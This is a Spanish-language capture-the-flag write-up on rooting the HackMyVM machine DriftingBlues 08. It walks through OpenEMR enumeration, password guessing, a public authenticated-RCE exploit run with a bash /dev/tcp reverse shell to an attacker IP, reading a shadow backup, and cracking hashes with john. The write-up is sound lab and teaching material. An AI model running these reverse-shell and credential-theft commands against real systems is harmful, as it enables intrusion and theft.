cd ~/blog

~/writeups/hmv/101-driftingblues-08.md

101 - DriftingBlues 08

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password en el panel de OpenEMROpenEMR 5.0.1.3 Authenticated RCECredential Exposure mediante un backup de shadowWeak Password Hashes de clapton y root
hackmyvm.eu/machines/machine.php?vm=DriftingBlues8

~1 min de lectura


Enumeración de servicios

El escaneo sólo expone HTTP y reconoce el formulario de OpenEMR. Al no existir SSH accesible, el acceso inicial depende de la aplicación web:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.20
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-26 15:35 -04
Nmap scan report for 192.168.1.20
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title: OpenEMR Login
|_Requested resource was interface/login/login.php?site=default
|_http-server-header: Apache/2.4.38 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.08 seconds

Enumeración de OpenEMR

La enumeración descubre un wordlist.txt publicado por el servidor y admin.php revela la versión 5.0.1.3:

❯ gobuster dir -u 'http://192.168.1.20' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/wordlist.txt         (Status: 200) [Size: 14394]
...

❯ curl http://192.168.1.20/admin.php
...
<td>5.0.1 (3)</td>
...

Acceso inicial mediante Authenticated RCE

Usamos el diccionario expuesto para realizar un Password Guessing dirigido con Burp Intruder. La respuesta diferente identifica admin:.:.yarrak.:.31. Con una sesión válida, el exploit de OpenEMR puede abusar de una función administrativa para ejecutar el comando proporcionado:

❯ searchsploit openemr 5.0.1.3
...
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)   | php/webapps/45161.py
...

❯ python3 45161.py http://192.168.1.20 -u admin -p '.:.yarrak.:.31' -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.20:39150.
bash: cannot set terminal process group (497): Inappropriate ioctl for device
bash: no job control in this shell
www-data@driftingblues:/var/www/html/interface/main$

Credential Exposure en shadow.backup

La enumeración local descubre un backup legible de /etc/shadow. Los hashes no entregan las contraseñas directamente, pero permiten ataques fuera de línea sin generar intentos contra el sistema:

www-data@driftingblues:/var/backups$ cat shadow.backup
...
root:$6$sqBC8Bk02qmul3ER$...:18742:0:99999:7:::
clapton:$6$/eeR7/4JGbeM7nwc$...:18742:0:99999:7:::
...

Crackeamos con john (rockyou) y cae el de clapton:

❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt credentials.txt
...
dragonsblood     (clapton)
...

La contraseña recuperada permite cambiar a clapton y obtener la primera flag. En su home también hay un binario SUID cuyo strcpy() introduce un Stack-Based Buffer Overflow, pero las notas confirman que este camino es un rabbit hole y no participa en la escalada efectiva:

void main(int argc,char **argv)
{
  char local_74 [100];
  int *local_10;

  local_10 = &argc;
  strcpy(local_74,argv[1]);
  puts("hahaha silly hacker!");
  return;
}

Escalada mediante Password Cracking del hash de root

El camino real es wordlist.txt, también ubicado en el home de clapton. Al usarlo contra los hashes ya extraídos, John recupera la contraseña de root:

❯ /opt/john/run/john -w=./wordlist.txt credentials.txt
...
.:.yarak.:.      (root)
...

La credencial recuperada permite acceder como root y obtener la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados